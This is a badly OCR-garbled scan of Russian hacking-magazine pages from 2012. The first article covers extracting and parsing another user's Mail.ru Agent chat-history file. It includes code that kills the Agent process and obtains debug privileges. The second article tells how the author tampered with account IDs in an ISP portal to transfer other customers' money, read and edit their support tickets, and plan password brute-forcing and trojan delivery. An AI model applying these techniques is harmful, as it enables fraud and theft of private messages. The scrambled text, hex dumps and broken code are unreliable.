ковыряли этот файл в Н Е Х-редак т оре, пытаясь най т и структуры

~сы,лки на смещения и всевозможные изменения после запуска' al

.гu Агента. К концу

201 О

года после долгих поисков формат

все-таки покорился.

ХАКЕР

060

www.epidemz.net

04/159/2012

Взлом

КАК ДОБЫТЬ ФАЙЛ MRA.OBS? Ты, конечно, задашься воnросом: а где, собственно, хранится

э тот nресловутый mгa.dbs, и как его добыть? Файл mгa.dbs

хранится в nапке <<%APPDATA%\Mгa\Base\mгa.dbs» [наnри-

мер <<C:\Documents and Settings\useг\Application Data\Mгa\ Base\mгa.dbs>>], и заnолучить его nри выключенном Агенте не так уж и сложно, достаточно лишь исnользовать функции

ExpandEnviгortmentStгings и

CopyFile.

Однако nри включенном

Агенте файл mгa.dbs является занятым и система nопросту не nозволит его исnользовать. Для решения этой nроблемы можно,

наnример, временно отключить Агент [для этого действия тебе nонадобятся nривилегии отладчика, которые можно nолучить

странство своего nроцесса. Также можно nроче с ть файл наnря­

ro

'13 C'i

10 00 00 00 06 00 00 00

00 00 00 00 00 00 00 00

ot

оо оо оо

лr

01

оо оо

оо

оо

~00

оо

во

0'\ 00 00 00 07 00 00 00 Сб

01 00 00 0'1 00 00 00

09 00 00 00

9С

01 00 00

01 00 00

03 00 00 00 18 00 00 00

00 00 00 00 OD 00 00 00

86 01 00 00 01 00 00 00

J.O 01 00 00 01 00 00 00

А2

00 00 00 00 00 00 00 00

ал оо

01 00 00 00 8[ 01 00 00

01 00 00 00 1D 00 00 00

00 00 00 00 06 00 00 00 76 01 00 00 07 00 00 00 ОА 00 00 00 4С 01 00 00

20 00 00 00 06 00 00 00 01 00 00 00 60 01 00 00

07 00 00 00 26 00 00 00 эе 01 оо оо 01 оо оо оо

06 00 00 00 00 00 00 00 4 С 01 00 00 01 00 00 00

эо 00 00 00 06 00 00 00 01 00 00 00 эс 01 00 00 01 00 00 00 00 00 00 00 74 оо 6r оо 72 оо 79 оо

00 00 00 00 00 00 01 оо оо оо эr 01 00 00 00 00 6D 00 sr оо 67 оо -:; 1 оо 6С 00 2Е 00 72 00

'! С

00 6D 00 61 00 €9 00 69 оо 72 оо б r оо 6r оо

01 00 00 00

04 01

01 00 00 00

0'1 00 00 00 00 00 00 00

только сnравами Администратора] или найти открытый хэндл файла в сис теме, а затем nродублировать его в адресное nро­

rt

0'1 00 00 00 07 00 00 00 86 01 00 00 01 00 00 00

01 00 00 01 00 00 00 оо оо

1в

ot

оо

оо

64 0 1 00 00 01 00 00 00

00 00 оо

оо

72 00 7l оо 7S 00

40 00 6D 00 51 00 69 00 ЗSFA8

Off~ot.

Maii. Ru Аген т а

!; с

•

р

д

lC 00 00 00 01 00 00 00 01 оо оо оо ее 01 оо оо 01 00 00 00 00 00 00 00 74 01 00 00 01 00 00 00 00 00 00 00 00 01 00 00 00 62 00 00 00 00 0 1 4[ 01 00 00 09

00 01 00 00

00 00 00 00

00 00 00 00

v

ос 00 00 00 24 01 00 00 01 00 00 00 00 00 00 00 61 00 66 00 69 00 73 00

lE 00 09 00 .:Е 00 6В О оо 67 оо бr оо 2D оо 6С 00 2!: 00 72 00 75 00

m .: ~

о

r

о

у

оо

·S7

1 .:

о

35FдВ·ЭS11Э

ВЬсk.

1Э

n

а

h 1 s

• '

• . ' u m а 1 1.

о

-

Sixe.

lбС

Ид е н т ифи ка торы нач а л а n е реnи ск и

мую с диска [nравда, для этого нужно знать, что такое кластер

и как работать наnрямую с драйвером файловой систе мы] или же наnисать собственный файловый драйвер [это nрактически

pid;pe32.th32ProcessiD; break ;

нереально]. Все бы хорошо, но на nрактике у всех вышеnере­ численных методов есть свои недостатки. При nеречислении

хэндлов с nомощью ZwQueгySystemlnfoгmation и их коnировании к себе в nроцесс с nомощью

DuplicateHandle

while (Process32Next( hProcessSnap,

&ре32

));

можно столкнуться

CloseHandle( hProcessSnap );

с двумя nроблемами. Первая заключается в том, что nри вызове ZwQueгylnfoгmationFile nоток может nовиснуть, ожидая отклика от блокирующего именованного канала. Вторая- nосле коnиро­

вания оба хэндла [наш и открывшего файл npoцeccal будут ука­

После того как мы найдем

PID,

нам необходимо получить

а следовательно- текущий режим

nривилегии отла дчика SeDebugPгivilege [OpenPгocessToken >

ввода-вывода. Позиция в файле и другая связанная с файлом

LookupPгivilegeValue > AdjustТokenPгivilegesl и убить nроцесс

информация будут общими у двух nроцессов, nоэтому даже

[OpenPгocess > TeгminateProcessl, а потом снова поnытаться вы­

чтение файла вызовет изменение nозиции чтения и нарушение

звать

нормальной работы nрограммы, открывшей файл . Конечно,

nутем- через

зывать на один

FileObject,

CopyFile.

Привилегии можно получить и более элегантным

Native API:

можно nриостановить на время все nотоки nроцесса файла, а nо­ сле коnирования восстанавливать nозиции чтения и заnускать

void GetPrivilege(IN ULONG Pr ivi l ege)

nроцесс владельца снова, но это связано с большими затратами

{

BOOLEAN OldValue; RtlAdjustPrivilege(Privilege, TRUE, FALS E, &Ol dVal ue);

времени и сил. Казалось бы, идеальным методом может являть­

ся nрямое чтение с диска, но и здесь есть недостатки. Таким сnособо м можно читать только файлы, которые открываются

с достуnом F ILE _ READ _ AП RIBUTES [кроме файлов nодкачки], файл обязательно должен быть не сжат, не зашифрован [иначе

Все, mгa.dbs у нас в руках. Теnерь nерейдем к его nотрошению:].

мы nрочитаем ерунду] и иметь свой кластер [маленькие файлы

РАСКРЫВАЕМ СЕКРЕТЫ

в NTFS могут целиком размещаться в MFТI. Также следует

MRA.OBS

учесть, что во время чтения файл может быть изменен [и мы

Файл mгa.dbs nредставляет из себя дамn nамяти Mail . гu Агента,

nолучим в результате неnонятно что]. П оэтому разберем самый

nоэтому открыть его для чтения nри работающей nрограмме не

nростой метод с временным отключением nроцесса Агента. Итак, чтобы убить nроцесс Mail.гu Агента, для начала не­

nредставляется возможным [для рядового nрограммиста, но у нас

свои сек реты

:1, также задачу усложняет тот факт, что

в nамяти

обхо димо узнать его идентификатор [PгocessiD]. Сделать это

все числа хранятся в nеревернутом виде. Однако давай немного

можно разными сnособами: через

углубимся в реверс-инжиниринг.

TooiHelp API, через Native API

[исnользуя функцию ZwQueгySystemlnfoгmation], nрошерстив

Итак, в недрах mгa.dbs существуе т хеш-таблица, в которой

сnисок открытых хэндлов или по сnиску открытых nроцессом

оnисаны смещения на 4-байтные идентификаторы. Идентифика­

окон [GetWindowThгeadPгocessld[ . Самый легкий вариант- это

торы с лужат для оnределения начала заnиси различных структур

исnользование

и сегментов дамnа, среди которых и находятся нужные нам записи

TooiHelp AP I и

n оиск по имени ехе-файла. Для

этого достаточно вызвать функции CгeateToo lhel p32Snap shot >

истории nереnиски [обрати внимание на соответствующую иллю­

Pгocess32Fiгst > Pгocess32Next, а затем в теле цикла сверять

страцию]:

значен ие nоля

szExeFile структуры PROCESSENTRY32 с magent.

ехе . Необходимый нам PгocessiD находится в этой же структуре, nоле th32 P гocessiD:

hProcessSnap; Creat eTool help32Snapshot (TH32CS_SNAPPROC ESS, e ); if ( I NVALID_HANDLE_VALUE !; hP rocessS nap)

typedef struct - ids { unsigned int idl; unsigned int id2; unsigned int count; _ids;

{ Начало истории характеризуется ключевым словом

pe32 .dwS i ze ; sizeof ( PROCESSENTRY3 2 ); if ( Process32 First( hP rocessSnap, &ре32 ) )

mгahistoгy_, за которым следует

{

и

e-mail

e-mail

хозяина файла mгa.dbs

контакта, с которым ведется nереnиска. В случае с исто­

рией идентификаторы образуют двусвязный сnисок: nервый ведет

do

к nервому отnравленному сообщению, а второй - к nоследнему

if(e {

Х АКЕР

lstrcmp(pe32.szExe File,_TEXT("magent.exe" )))

nринятому сообщению . Количество сообщений можно узнать,

изучив четыре байта nосле идентификаторов [структура _idsl.

061

04/159/ 2012

www.epidemz.net

взлом

71 01

оо оо

со 9С

sr

07

оо оо оо

DS 69 87 св 01

~~ ~~ ~~ ~~

::

се

01

оо оо iMfMШMШ M !,Mji ! ,М.!.Моо оо оо

07 оо оо оо

D oo

оа оо

~~ ~~ ~~ ~: ~~ ~~ ~~ :~ ~~ ~~ ~~

lB 0 4

4Е

04

З1

04

ЭВ

3

4

5

б

7

00000000

01 00 00 00

О

~

0'1 00 00 00

СО

9'1

А2

02

01 60 AD 02 01 80 82 02

00000010

!о ЛО l!E 02

02iEA010

01 2 0 ВВ 02 0 1 00 Bl 02

01 АО Аб 02 01 С О 81 02

00000020

69 29 01 00

024ЕАО20

01

Off!let

b r оо оо оо эs оо оо

::':-",.-+.,::;;;:;...,..._r·

Структура заnиси сообщения

1

2

З

О

Off!let

1

АО

2

81 02 01 60 Bl 02

8

01

9

ЕО

А

В

А9

С

Е

D

02 01 20

АА

r

02

Пои ск х еш -таблицы

Пр ойдя по смеще нию идентификатора [его можно узнать из хеш­

стру ктуре х рани тся количество записей истории или, проще

таблицыl·мы попадем на запись сообщения [с н ова все внимание на

говоря, количество переписок. Так как файл дампа постоянно

соответствующий рисунок] :

расширяе т ся, то по с мещению Ох2С лежит иден т ификатор посл е д ­ ней записа нной истории ,- это все, что нам нужно знать, чтобы

struct _message

начать искать идентификаторы переписок .

В целом же алгоритм такой: пр охо димея по идентификаторам записей истории с пом о щью

int size; int prev_id; int next_id; int xz l ; F ILEТIME time ; unsigned int ty pe_mesage ; char fiag_incoming; char Ьуtе( З ]; unsigned int co unt_n i ck; unsigned int magi c_n um; 11 ехзв unsigned int count _message; unsigned int xz2; unsigned int size_lps_rtf; unsigned int хzЗ;

unsigned unsigned unsigned unsigned

цикла [начиная от последней добавленной записи]; если в этой записи о т смещения Ох190 присутствует слово «m г ahistoгy_>>, то это означает, что по смещению Ох24 лежат идентификаторы цепочки сообще ний данной переписки. Ч тобы стало немного понятней, взгляни на этот ко д:

DWORD * offset_taЫe=(DWORD *)(mra_base + *(DWORD*)(mra_base + exle )); DWORD end_id_mail= *( DWORD*)(mra_base+ex2e+ offset_taЫe[ l ]);

DWORD count_emails= *( DWORD*) (mra_base+ex2C+ offset_taЫe( l ]);

}; for ( int i=e ;i <c ount_emails;i++) Строки в дампе сох раняют ся в кодировке Unicode [wchaг_tl различными способами :

{

id s *mail_data =( struct _id s* )(mra_base+ offset_taЫe(e n d_id _m ail]+4 );

с завершающи м нулем в конце строки;

в структуре LPS [название структуры взято из описания фор­ мата протокола ММР], гд е первые ч е т ыр е байта указывают на

if (memmem((( unsigned char *)mail_data+ex 19e ), mrahistory, ... ))

длину последующей с тр оки; в формате

emails[k].id=(_ids *)(( unsigned char*)mai l _data+ex24 );

RTF.

Зная количество сообщений, нам не составит труда пробежать­ ся по всей цепочке. Н о о т куд а вообще узнать, где находится эта

end_id_mail=mail_data- >id2;

хеш -таблица, и как на йти начало за пи сей истории? Над поисками ответов к эт им вопросам мы с

SOLON 7 провели

немало бессонных

кадим

ночей.

Журнал не резиновый, п оэтому исходный код читалки mгa.dbs ищи

НЕМНОГО МАГИИ По смещению

OxlO

на диске. Сейчас я покажу тебе лишь самые ос новны е моменты.

от начала файла mгa.dbs, как оказалось, и хра­

Итак, файл mгa.dbs является дампом памяти, поэтому мы не буде м

ни т ся а др ес завет ной хеш-таблицы. Пр ойдя по с м ещению первого

извращаться и использовать функции для работы с файловыми

ин д екса из хеш-таблицы, мы н а тык ае мся на структуру нача ль­

смеще ниями, а сразу поместим его в память нашей прогр аммы. Дл я

ных данных. В озможно, там находится вообще вся информация,

этого заюзаем ресурсы ОС

заложенная в mгa.dbs. Ид ем дальше. П о смещению Ох20 в этой

файл:

Windows

и создадим М еmо г у

Mapp ed

ТИПЫ СООБЩЕНИЙ MRA.DBS

н е автори зо ванны е

з апро с ы

обычны е

п ере д ача

за п иси

сме н а

п о льз о ват е ли

автори з ации

с ообщ е ния

фай л о в

в мик р об л о г

г ео п о ло же ни я

ХАКЕР

062

www.epidemz.net

04/159/2012

Взлом Maii .Ru Агента

•-.,История

Правка

Контакт

?

•

gar .i .k@rnail .ru

26

25amelia~~mail.ru

235

Здравствуi1те! Пожалуйста 1 добавьте r-1еня в ва ш сnисок ко нта ктов.

_Ыock-hea r1_@inbox.ru

_r~ o_1 23@moi l .rtr

Amelia frank

08071961 @moil.ru 11 333695@chat .ogent 24201 @moil.ru

1

Здравствуй ! Как через тел.сот. Загрузи т ь фотку в анкету 1 что бы Nеня

16 94

401204 7@chat .agenl 534147@rnoil.ru 666clirnakat999@rnail.rtl 98tirn@rnail.rtl a_a_a_palevo@rnail.ru abdulrnanova_regina@rna abrarnova--alena@rnail.ru abyss .90@inbox.ru adelina-56x@rnai1.ru ademulko@rnail.ru afanasij286905@rnail.rlJ ailitakiyakbaeva@lnail.ru air -trading@rnail .ru aist_ @rnail .ru ako880@rnoil .ru alblna _vladikovkaz@rnail .ru alblno654@rnail.ru

Посмотреть а ват ар

мон ~1нр

_j

::;;0 Блопt

~ --

1

12

а х рен знает

массива, она позволяет хранить пары «К ЛЮЧ­ значение н.

Двусвязный список состоит из элементов данных ,

каждый из которых

blt.ly/zsTJТb:

содержит ссылки

Жаль,чеt·1 зани 1·1а е ш ься?

•

Г Р• к Дж:ан

три метода

так и на nредыдущий

файлами:

элементы .

blt.ly/zNg02S;

An1elia Frank

способы получения

•

Я не буду о твле кать надеюсь ф~tлы·l интересн.

как на следующий,

работы с занятыми В даННЫЙ f·10f>IBHT К ИНО (110ТРЮ

различные

списка процессов :

bit.ly/w4upz5; •

умень шение

размера Си­ программы на

nримере

<# # #20# # #imgOOO > 27

cOdedgarik.Ьiogsoot .

интерфейс

An1elia frank

Amelia frank

29

мой благ :

реализующая

ассоциативного

роs-файлов :

Г ар.·к Дм 111

9 3

Hjstory Reader: blt.Jy/x2oKvU;

• С++ класс для создания wiпhe x.

Г ар." д к. н

прикольный

51

blt.ly/z2EТMY: • обсуждение Mail.ru

•

Хеш-таблица- это структура данных ,

5.4:

=

видели.

t~*~фФф~ - Ш-~®~·a~.~Ш®~·I'DI111111r..~~c~w З48241@rnail .ru Скоnировать E-mail

Mail.ru

Агента до версии

Почта

_bek_@inbox.rtj

Описание формата

истории

января 2011г.

Visual

Studio: blt.ly/w7sWNA.

января 2011г.

Amelia frank

4

Добр.ноч~1 !ка к фильио прооютр?

v

Интерфейс моей читалки

После прохода по и дентификаторам и поиска строки «m гahistoгy_>> наша структура будет заполнена адресами иден­

Create Fil e CreateFileMap MapViewOfFil e VirtualFree CloseHandle CloseHand le

тификаторов. Заметь, при этом мы не скопировали даже байта

и израсходовали всего лишь 16*count_emails байт /напри м ер, при 1 000 контактов мы используем всего -15 килобайт памяти). Теперь, имея на руках идентификаторы начала переписки с конкретным пользователем, мы можем прочитать сообщения:

Так как нам не нужно сохра н ять внесенные изменения обратно в файл, то здесь вместо UnmapViewOfFile используется Viгtuai F гee. Первое, что мы сделаем, это найдем все контак т ы из истории пере­ писки. Хранить найденное добро будем в структуре emails:

int id_message=emails[k] .id->id l ; for ( int i= e;i <emails[k].id->count_me ssages; i++) { _message* mes = (_message*)(mra_b ase+ offset_t aЫe[id_m essage]);

typedef struct _emails{ wchar_t *e mai l ; ids * id ;

wchar_t * str = ( wchar_t *)(( unsigned char * )mes + sizeof ( _me ssage));

};

id_message=mes->prev_id;

struct _emails *ema ils; Дата сообщения хранится в форма т е FILETIME, для удобства

emai l s=VirtualAlloc(e,count_email s* sizeof ( struct _emai ls) , .. );

ее можно перевести в удобочитаемый вид с помощью функции

FileTimeToSystemTime. Формат RTF отлично воспринимается Rich Edit'oм и любыми другими стандар тными редакторами типа WoгdPad. Но с этим можно и не заморач иваться, так как сооб щ е­ ния хранятсявнеотформатированном виде сразу после ни ка, а их

RICH ТЕХТ FORMAT (RTF)

размер указа н в структуре message. Это все, что тебе нужно з н ать, чтобы получить удобоваримый список мессаг из А г ента.

RTF,

использующийся в

mra.dbs,

nред ставляет из себя формат

х ранения разм еченных документов , пр е дложенный еще в бо родатыми программи стами из

1982 году

Microsoft и Adobe . Для е го парсинга

P.S. К сожалению, формат журнала не позволяет привести здесь мои хардкорные изыскания полностью, поэтому поспеши заглянуть на

с овершенно не обязатель но изобретать велосипед , а достаточно

диск. Надеюсь, пример кода читалки lехе'шник ко т орой, кстати, с по­

лишь отправить сообще ние

мощью небольшой оптимизации уместился всего в 2 килобайта безо

з аписи и

EM _S TREAMOUT

EM _S TREAMIN с SF_ТЕ Х Т

с флагом

флагом

SF_ RTF

для

всяких пакеров) поможет тебе в написании быстрого и кру т ого С-кода,

для чтения:

а также в изучении hех - редакторов и других низкоуровневых вещей.

ED ITSTREAM es = { е }; es .pfnCallba ck = EditStreamCallba ck; es. dwCookie = ( DWORD_PTR)&lps; Se ndMess age (hR i c h, EM_STREAMIN, SF_R TF, ( LPARAM)&es);

Кстати , незатронутой осталась не менее увлекате льная тема чтения

истории IСQ-переписки, которая также хранится в файле mгa.dbs. Спасибо компании Maii.Ru, во-первых, за разработку Maii.Ru Агента, во-вторых, за заметное развитие любимой аськи, и в-третьих, за

интересный к вест, о котором я тебе сегодня рассказал. :Х:

ХАКЕР

063

04/159/ 2012

www.epidemz.net

взлом

Daeren Torn

Вся информация предоставлена исключительно в ознакомительных

целях. Ни редакция, ни автор не несут ответственности за

халявщика НЕ ВЫДУМАННАЯ ИСТОРИЯ О СЕРЬЕЗНЫХ УЯЗВИМОСТЯХ

ПРОВАЙДЕРА

любой возможный вред, причиненный материалами данной статьи .

Эта история взлома была бы ничем не примечательна, если бы не одно « НО ». Жертвой глупейших ошибок программистов стал довольно крупный провайдер. Элементарные уязвимости в личном кабинете пользователя позволяли манипулировать денежными средствами на счете

любого из клиентов . Такое Увы, и такое бывает.

www.epidemz.net

Буд н и ха л яв щ и к а

Осноаноii счеr:

Баланс:

-

09

216

рvб.

ОТВЕТ НЕЗ

Кабинет nоль3 ооателя:

ЖДАТЬ,

дбо н е•п , уже сеИ~ас у Вас есть В ОЗ'"~ОЖность nодкпючиться к услуге кабельного

п

информацию по nодключению и активации настояшей услуги Вы можете у l""еНеДЖQ ра КО"''П Э НИИ По.а робнее о траi'!С/1 11руеш,,х ICII IЧt!IIIX

А

Tapщ!!DI

бонуса Ba"'' необходи..,о: nодключить к сети нашей ко11nании своего друга. или родсrвенмика и Вы nолучите бо1-1ус в раз"'ере 300 рублей на свою учетную запись. попучения бонуса no акции «Приведи друга• еобходимо учесть следуюшие условия:

• 1. • 2.

e5o.;etft"O,. комnан• • и .apyr npo.IКиo.aer 11 аоне .соторы•i

еы яе.nяеrесь

В.,w 1шееrтехtшчес<vю ео~НО)I(nССТЪ nоаi(Jiюченш:• к cen1 (ссылJ<а) • 3. Ваш •npyr• .!iiКIIIOЧiler дОГРISОР С HIIWe~ KOHПIIHI1eЙ Hll П0д'</110ЧеН11е К Cef\.l\1rпept'leT, YICII]ЫII<!JЯ Прl! ЭtnH 8lJiWИ ФНО 11 l!lдpec ПОЛ!(JiоQЧенир

nосле nодключемия ~друrа> на Ваш счет поqупит бонус в раз ... ере исnользовать на любые достуnные в личном каби11ете услу~. больше друзей Вы nриведете, те11 больше бонусов nолучите!

300 рублей, которые

После

*****09 *****6 1 ***** 60

-85 р

Основной

-7lp

Ин тер н е т

ер

счет

Т елеви де н ие

Как ни стр анно, данная операция прошла успешно.

Epic fail .

Интернет, впрочем, у меня от этого не появился, поэтому я снова обратился к html-исходнику страницы своего личного кабинета. Изучив его более подробно, я заметил следующие input-npeфикcы:

Перевод с редсrв между уч етны ми зап и сями.

<<m_fгom>> и Счет для сn нсання

Услуга

Ба л<~ н е ( ру 6.)

ЛОГ)!Н

09 61

С чет для nоn оnнен ня

Балан с ( ру6.)

Лоrнн

216

Осноаноii сче т

578.51

~tнтернет

60

<<m_to>>. Все

указ ывало на то, что это были идентифи­

каторы счетов в БДI Здесь возник резонный вопрос: отслеживает ли сервер подмену

Недолго думая , я стал проверять свою до­

10?

гадку: изменил две последние цифры в поле <<m_fгom>>, примен ил

09

578.51

61

изменения, выбрал нужные счета и нажал на кнопку <<Оnлата» . Заnрос с измененным

60

10 ушел

на сервер . Ответ не заставил себя

ждать,- показалась форма с предложением перевода средств.

Бингоl Номер счета, откуда будут переведены средства, не со­ вnадал с моим номером, а в поле <<Укажи те сумму» была указана

Стра н ица п е р е вода с р е дс т в

сумма, равная количеству сре дств на счете, с которого осущест­

влялся перевод. Как ты помнишь, на моем счете в тот момен т было

ВВЕДЕНИЕ

-85

История началась очень странно. На календаре было

31

декабря,

рублей , а форма предлагала мне nеревести все

2901

Указав

немноги м меньшую сумму [для незаметности), я нажал <<Переве­

а на н аутбуке- дисконнект. Средства на счете закончились,

сти>>,- и оnерация завершилась успехо м . Значит, уязвимость есть,

и было совершенно непонятно, что дальше делать всю ночь без

сервер не проверяет

интернета [в новогоднюю-то ночь?- при м. редакции!? На счете

сты, бравоl Вернув деньги обратно, я решил углубиться в nоиски

Webmoney

не было достаточно денег, чтобы полностью оплатить

10

на привязаннесть к аккаунту. П рограмми­

других ба го в. Тут сразу стои т отметить, что все эти эксперименты

абонентскую nлату, nоэтому я уже готов был идти к ближайше­

могли серьезно испортить мне жизнь,- повезло, что провайдер

му терминалу оплаты. Зайдя в личный кабинет, чтобы уточнить

решил не обра щаться с за явлением о моих действиях в правоохра­

сто имость абонентки, я обратил вниманиенанеактивные

нительные орга ны. В такой ситуации оправдаться у меня уже не

html-

переключатели, расположенные на странице перевода средств.

П охоже, Дед Мороз все-таки существует:).

получилось бы.

У ЧЕТ ОПЕРАЦИЙ

БЫТЬ ИЛИ НЕ БЫТЬ?

Итак, предыдущая находка меня очень обрадовала. Теперь

Дальше я пол ез в исходный код страницы с nомощью браузера

осталось узна ть, насколько видны мои действия второму лицу.

Орега и убрал у соответствую щих переключателей nараметр

Ведь у каждого уважающего себя провайдера есть такая вещь как

«disaЫed>> [когда баланс равен нулю или отрицательный, то дан­

статистика/история платежей, nредназначенная для то г о, чтобы

ный переключатель неактивен). После этогонехитрого действия я

следи ть за nередвижением средств на счетах. Перейдя к истории

примен ил изменения и поnробовал перевести все средства с тре­

nлатежей, я снова открыл исходный код страницы. Немного поли­

тьего счета на nервый- основной:

став е го, я сразу заметил тот же самый способ работы с

10. Для

его

передачи серверу исполь зо валась строка следующего вида:

До

***** 09 ***** 61 *** **60

lSp -71р

1 Основной счет 1 Интерне т

-100pl

<input type=button vа l uе= 'Показать' name=show_orders_lis t onClick= 'showPay(this.form, *** 39)' >

Телевиде н ие

<td style='background-color:#D2FFCF;'><input type='radio' name= m_from' id='m_from </b></label></td> <td style='background-color:#D2FFCF; '>216</td> <td style='background-color:#D2FFCF;'><b>O cнoвн oй счет </Ь></td> <td style='background-color :#D2FFCF;'><input type='radio' name='m to' id='m_to~ 7' b></label></td> <td style='background-color:#D2FFCF; '>216</td>

' value=' lll00' ><label

value=' ~ 7'><label

П е рвы й ба г с п е реводам с р е дств

Х АКЕР

04/159/2012

065

www.epidemz.net

. ВЗЛОМ

Здесь я снова изменил

ID

и немедленно нажал «Показать»,­

о п ять ус п ех: я увидел все операции со средствами на чужом

ID!

Н о там был и мой след . Значит, все мои действия с деньгами были

заметны второму лицу. Однако все равно здесь не было видно, куда и почему они были переведены, -таблица предс т авляла из себя

три столбца: « Д ата>>, <<Сумма [руб.!>> и «Номер учетного документа>>.

Для получения f:loнyca Вам неоЬходимо: подключить к сети нашей компании своего друга,

знакомого или родственника и Вы получите бонус в размере 300 рублей на свою учетную заnись. Для nолучения бонуса по акции «Приведи друга» необходимо учесть следующие условия: • l. в~ ll&.nя етесь обон е нтом • 2 . 8iЩI друГ ПРОЖИIIОеТ 11 .QO,..I!, KOTOJ)Ыii IIM!!eT TeXнi\ЧeCii.YIO 1103НОЖН О СТЬ ПOliКIIIOЧI!tШЯ lt Ct: ТII {CCbi/IK~) • ), BI!IW друГ• 31!1К/\ЮЧОеТ ДОГОООJ) С HIIWeЙ KOHПIIHIII!a на П0lЖ11ЮЧеНIН!! К CI!ПI llнтермет, YK031:>11!111R ПPII ~ТОН В&WII Ф~IQ

11

о.арес ПO.QI(IIIOweнlt$1

Сразу nосле подключения «друга:. на Ваш счет nоступит бонус в размере

300

рублей, которые

.можно использоват ь на любые доступные в личном кабинете услуги.

Чем больше друзей Вы приведете , тем больше бонусов получите!

БОЛЬШЕ, БОЛЬШЕ КРОВИ! Ладно, с этим все ясно, но что можно сделать еще? На глаза по­ палась кнопка «Запрет доступа>>, отключающая все предоставляе­ мые провайдером услуги. Работала она также с

ID и JS . Конечно,

увидеть работоспособность этой вещи я н е мог. Или же можно было написать скрипт, который прошелся бы по списку

ID

и отключил

всем пользователям интернет/телевидение/телефон-даешь хлеба и зрелищ :1. Однако одним запретом доступа я ограничи­ ваться не захотел и попытался разобраться во всем этом на более

ПOKi!JliiТЪ JliiПPOCЫ Эlllroлoaoи: СтраН\\UЫ: Авт ор:

Я Hllllb111

..

COJ.QliiTb 3liiПpoC

3lllnpocn:

Автор : 1<

НЕ работает мнтернет

1

К

~ч

0110110Wlll 1 ПОГ11l11ЛьТе

О;р~гкn•роsг"

Дата :

2012·02•02 12:40:45

нен" • "' _ "'•

2012·02·02 13:16:54

глубоком уровне . Итак, вернувшись к о п ерациям над средствами, я запустил Добаамть новое сообщен и е

прогу Chaгles [chaгlespгoxy.com- замечательный снифер, дебаггер и прокси-сервер в одной упаковке!. Но данные шиф­ ровались, и ничего толкового я не увидел. Тогда я запустил

IE

с плагином ieH T TPHeadeгs, перешел в личный кабинет и произвел

Ти кеты с л уж бы п одд е р ж ки

уже з н акомую тебе транзакцию средств с одного счета на другой. ie HT T PH eadeгs показал следующий запрос:

она на методе

Basic Autheпticatioп.

Мне хватило всего пары минут,

чтобы накидать программу для бр у тфорса. Благо, все дороги были

POST /client. php

о ткрыты, а доступ в личный кабинет ос у ществлялся по локальной

xjx f uп = chaпge C hack&x j xargs[ ]= *** 1 8&x j xargs[ ] =* ** 39&

се ти , т о есть интернет не был н у жен, и все могло произойти очень

xjxargs[]=12e . e

и очень быстро ...

Вп ос ледствии я рассказал об обнаруженной уязвимости !Т­ Здесь ключи массива такие:

счет,

3- скол ь ко

1-

с какого счета,

2-

на какой

денег п ереводить. Д алее я решил попробовать

сформировать аналогичный предыдущему GЕТ-запрос и перешел

отдел у провайдера , так что она была довольно быстро исправлена. Ошибк у объяснили тем, что «все работало через хитрую схему,

ПОЭТОМ У так глупо И ВЫШЛО>>

:J.

по сформированной ссылке. Все снова работало, средства перево­ дились. Я думаю, теперь ты понимаешь, что можно было натворить

при помощи базовых знаний

JS

и больной фантазии? К слову, тут

НОВЫЕ БАГИ Проходит день, неделя, месяц, и у меня появляется желание про­

мне вспомнился фильм }{ОТТfаБЬIЧ: «-А сколько качать-то? - Че

верить что-нибудь еще в личном кабинете. Я открыл страницу

ты тупые вопросы задае ш ь? Миллион качайl».

просмотра статистики, изменил

10,

отправил запрос. В итоге на

моем экране вновь отобразилась чужая статистика. Оказалось,

ЧТО-ТО ЕЩЕ?

что после прошлого исправления корректно стало работать только

Д алее я подумал, что можно копнуть еще глубже. В самом начале

тот раздел личного кабинета, где осуществлялся перевод средств,

каждого из html - исходников была такая строка: js/fuпc . js. Хорошо,

а все остальное так и осталось по-прежнему. Я не захотел ковы­

формирую ссылку, перехожу по ней и вижу реализацию функций

ряться дальше со старыми багами, поэтому попробовал найти еще

операций на сай т е . Самой нужной мне вещью оказалась функция

места, где использовался столь оригинальный метод работы с кон­

saveNewPass[l - она работала по той же схеме ID+JS. Как ясно из

фиденциальными данными пользователей. Тут стоит заметить, что

названия, предназначена эта функция для смены пароля пользо­

меня уже давно интересовал раздел <<Электронные заявления>>.

вателя. Все, что нам надо, - код, который бы осуществлял про­

Зайдя туда, я создал бессмысленный вопрос: <<Почему

стейший перебор по словарю и менял его при условии нахождения

привязывается к учетной записи?>>. Страница с вопросом содержа­

e-mail

не

верной ~омбинации. Какова вероятность того, что все пользова­

ла довольно интересную информацию : ФИО

тели изменили стандартные парали [обычно состоящие всего из

вала возможность правки сообщения, а вот кнопка удаления не

нескольких цифр!? Кстати, тут не было даже банальной капчи или

работала. В исходном коде нашлась такая строка:

блокировки по

IP

+ IP.

Также присутство­

при множественных ошибочных авторизациях

-

и других запросах! Да и авторизация тоже хромала- основана

са href= "JavaScript : edit_post( *** el, ***1)" class=zll><font c l ass=zll> P eдaктиpoвaть</font></a>

Я поправил значения, вычтя из каждого по

3,

примен ил измене­

ния, нажал «Редактировать>> и увидел страницу с тикетом другого пользователя! Изменив его, я попробовал сохранить вопрос,­ операция завершилась успехом. После, еще раз изменив значени е ,

я попал уже на ответ техподдержки. Поправил, сохранил,- все получилось. Значит, я могу править сообщения любого юзера! Осталось лишь найти остальные функции для работы с заявками.

и

Снова немного покопавшись в исходном коде страницы, я отыскал строку следующего вида:

cscript language= 'JavaScript' src= 'js / hd.js ' ></script> Собственно, в файле

js/hd.js и лежали функции для работы

ХАКЕР

066

www.epidemz.net

04/159/2012

Будни халя вщика

с заявлениями. Я решил использовать функцию

showTiket[n] .

Поправив код и указав произвольный номер заявления, я прим е н ил изменения и нажал на кнопку «Редактировать>>. Открылась с траница , на которой был запрос пользователя, а также ответы от

т е хподдержки. Вроде бы ничего такого, но я увидел их ФИО и

IP!

К с тати, злоумышленник в такой ситуации мог бы подождать ответа т ех п о ддержки любому пользователю, а после отредактировать

соо бщение, на'пример, так: «[качайте[ ... ] для устранения про­ блемы, но антивирус может ругаться на данное приложен и е, так

2012 · 02·02 11:02

·117.00

qOOO

ч то отк лючите его на время>>. Вуаляl Тр оя н залит, да еще и от лица

20 12 ·02·02 04:02

1.00

qOOO

провайдера.

2012·02·02 04:02

1.00

qOOO

2012·02·02 03:0 2

·15.00

qOOO

2012·02-02 03:02

зо.оо

qOOO

Хоро шо , я нашел способы редактирования, удаления, просмо­

2012 · 02 · 02 03:02

·15.00

qOOO:

